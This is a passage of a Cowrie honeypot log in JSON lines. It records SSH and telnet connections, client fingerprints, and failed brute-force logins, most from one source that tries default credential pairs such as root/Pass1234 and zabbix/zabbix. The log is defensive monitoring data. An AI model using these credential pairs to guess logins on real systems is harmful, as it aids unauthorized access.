":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:12.979697Z","src_ip":"192.109.200.237","session":"e7a463e0d30c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:13.296263Z","src_ip":"192.109.200.237","session":"e7a463e0d30c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rerere","message":"login attempt [root/rerere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:13.543479Z","src_ip":"94.159.98.239","session":"82cbd3525e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:14.381526Z","src_ip":"192.109.200.237","session":"e7a463e0d30c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:14.664401Z","src_ip":"94.159.98.239","session":"82cbd3525e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49188,"dst_ip":"159.203.135.109","dst_port":22,"session":"f373187da546","protocol":"ssh","message":"New connection: 192.109.200.237:49188 (159.203.135.109:22) [session: f373187da546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:16.115737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:16.121102Z","src_ip":"192.109.200.237","session":"f373187da546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:16.203632Z","src_ip":"192.109.200.237","session":"f373187da546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:16.450801Z","src_ip":"192.109.200.237","session":"f373187da546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:17.536437Z","src_ip":"192.109.200.237","session":"f373187da546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00181579589844,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:17.791076Z","src_ip":"152.42.224.71","session":"0cca31b3d7a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.70903396606445,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:17.991674Z","src_ip":"152.42.224.71","session":"573fe889315c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49196,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfc0700d3d6e","protocol":"ssh","message":"New connection: 192.109.200.237:49196 (159.203.135.109:22) [session: cfc0700d3d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:19.272475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:19.277080Z","src_ip":"192.109.200.237","session":"cfc0700d3d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:19.441880Z","src_ip":"192.109.200.237","session":"cfc0700d3d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:19.706545Z","src_ip":"192.109.200.237","session":"cfc0700d3d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.781253814697266,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:20.639636Z","src_ip":"152.42.224.71","session":"6bf84db5e4f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:20.791348Z","src_ip":"192.109.200.237","session":"cfc0700d3d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.41659998893738,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:22.457416Z","src_ip":"152.42.224.71","session":"3ca050e7bc7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40326,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c5697713ef5","protocol":"ssh","message":"New connection: 192.109.200.237:40326 (159.203.135.109:22) [session: 6c5697713ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:22.633688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:22.638497Z","src_ip":"192.109.200.237","session":"6c5697713ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:22.720256Z","src_ip":"192.109.200.237","session":"6c5697713ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:22.970095Z","src_ip":"192.109.200.237","session":"6c5697713ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:24.132740Z","src_ip":"192.109.200.237","session":"6c5697713ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40334,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec28063a94d6","protocol":"ssh","message":"New connection: 192.109.200.237:40334 (159.203.135.109:22) [session: ec28063a94d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:25.863345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:25.868362Z","src_ip":"192.109.200.237","session":"ec28063a94d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:25.951356Z","src_ip":"192.109.200.237","session":"ec28063a94d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:26.197076Z","src_ip":"192.109.200.237","session":"ec28063a94d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:27.282661Z","src_ip":"192.109.200.237","session":"ec28063a94d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40356,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e4ff60a60f3","protocol":"ssh","message":"New connection: 192.109.200.237:40356 (159.203.135.109:22) [session: 0e4ff60a60f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:29.109546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:29.113594Z","src_ip":"192.109.200.237","session":"0e4ff60a60f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:29.195830Z","src_ip":"192.109.200.237","session":"0e4ff60a60f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:29.627320Z","src_ip":"192.109.200.237","session":"0e4ff60a60f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:30.712429Z","src_ip":"192.109.200.237","session":"0e4ff60a60f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50488,"dst_ip":"159.203.135.109","dst_port":22,"session":"5549ecaaa883","protocol":"ssh","message":"New connection: 192.109.200.237:50488 (159.203.135.109:22) [session: 5549ecaaa883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:32.582759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:32.587670Z","src_ip":"192.109.200.237","session":"5549ecaaa883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:32.670524Z","src_ip":"192.109.200.237","session":"5549ecaaa883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:32.917459Z","src_ip":"192.109.200.237","session":"5549ecaaa883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:34.002655Z","src_ip":"192.109.200.237","session":"5549ecaaa883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50492,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b4baed2b555","protocol":"ssh","message":"New connection: 192.109.200.237:50492 (159.203.135.109:22) [session: 0b4baed2b555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:35.738522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:35.743452Z","src_ip":"192.109.200.237","session":"0b4baed2b555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:35.828403Z","src_ip":"192.109.200.237","session":"0b4baed2b555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:36.100732Z","src_ip":"192.109.200.237","session":"0b4baed2b555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.00925946235657,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:36.464460Z","src_ip":"152.42.224.71","session":"7a9dc210b660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:37.184928Z","src_ip":"192.109.200.237","session":"0b4baed2b555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":43246,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcc0d0a58b3f","protocol":"telnet","message":"New connection: 213.108.3.46:43246 (10.17.0.5:23) [session: dcc0d0a58b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:38.482211Z"}
{"eventid":"cowrie.session.closed","duration":0.01608562469482422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:38.498118Z","src_ip":"213.108.3.46","session":"dcc0d0a58b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50508,"dst_ip":"159.203.135.109","dst_port":22,"session":"1373c97b29b9","protocol":"ssh","message":"New connection: 192.109.200.237:50508 (159.203.135.109:22) [session: 1373c97b29b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:39.039777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:39.044524Z","src_ip":"192.109.200.237","session":"1373c97b29b9","protocol":"ssh"}
